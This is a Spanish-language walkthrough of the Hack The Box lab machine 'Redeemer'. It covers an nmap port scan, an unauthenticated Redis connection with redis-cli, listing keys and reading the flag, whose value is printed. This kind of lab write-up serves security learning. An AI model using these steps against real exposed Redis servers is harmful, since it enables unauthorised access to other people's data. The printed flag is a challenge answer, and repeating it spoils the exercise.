CorvusDDosKRom

Hack The Box: Redeemer

Very Easy

Redeemer es una máquina del Starting Point de Hack The Box. Involucra la explotación de un servidor Redis expuesto sin autenticación, permitiendo acceder directamente a sus datos y obtener la flag.

Linux
Hack The Box
Redis No Authentication Misconfiguration

Redeemer

Plataforma: Hack The Box

Dificultad: Very Easy

🔗 Link de la máquina: https://app.hackthebox.com/machines/Redeemer

Redeemer

Reconocimiento

Realizamos un escaneo de puertos con Nmap para identificar los servicios activos en la máquina objetivo.

sudo nmap -p- --open -sS -sCV --min-rate 5000 -Pn -n -oN redeemer.txt 10.129.23.56
Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-27 20:16 -0300
Nmap scan report for 10.129.23.56
Host is up (0.52s latency).
Not shown: 65439 closed tcp ports (reset), 95 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT     STATE SERVICE VERSION
6379/tcp open  redis   Redis key-value store 5.0.7

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 57.99 seconds

Detalles del comando:

  • -p-: Escaneo de todos los puertos.
  • --open: Muestra solo puertos abiertos.
  • -sS: Escaneo SYN para determinar el estado de los puertos.
  • -sCV: Usa scripts por defecto y detectar versiones de servicios.
  • --min-rate 5000: Establece un ritmo mínimo de escaneo.
  • -n: Desactiva la resolución DNS.
  • -Pn: Omite la detección de hosts activos.
  • -oN redeemer.txt: Guarda los resultados en el archivo “redeemer.txt”.

Puerto descubierto:

  • 6379/tcp - Redis key-value store 5.0.7

Acceso Inicial

Redis sin autenticación

Redis es una base de datos en memoria de tipo clave-valor, ampliamente usada para caché y almacenamiento de sesiones. Por defecto, Redis no requiere autenticación, lo que representa un riesgo crítico si el servicio queda expuesto a la red.

Nos conectamos directamente usando redis-cli:

redis-cli -h 10.129.23.56
10.129.23.56:6379>

La conexión es exitosa sin necesidad de credenciales.


Enumeración

Verificamos la conexión y obtenemos información del servidor:

10.129.23.56:6379> ping
PONG
10.129.23.56:6379> info server
# Server
redis_version:5.0.7
redis_git_sha1:00000000
redis_git_dirty:0
redis_build_id:66bd629f924ac924
redis_mode:standalone
os:Linux 5.4.0-77-generic x86_64
arch_bits:64
multiplexing_api:epoll
atomicvar_api:atomic-builtin
gcc_version:9.3.0
process_id:750
run_id:675beebcab732fbe83250258cba185e8e3a58d8d
tcp_port:6379
uptime_in_seconds:1957
uptime_in_days:0
hz:10
configured_hz:10
lru_clock:10628339
executable:/usr/bin/redis-server
config_file:/etc/redis/redis.conf

Listamos todas las claves almacenadas en la base de datos:

10.129.23.56:6379> keys *
1) "flag"
2) "numb"
3) "temp"
4) "stor"

Redis keys


Flag

Recuperamos el valor de la clave flag:

10.129.23.56:6379> get flag
"03e1d2b376c37ab3f5319922053953eb"

Flag

Máquina Redeemer de Hack The Box Starting Point completada exitosamente.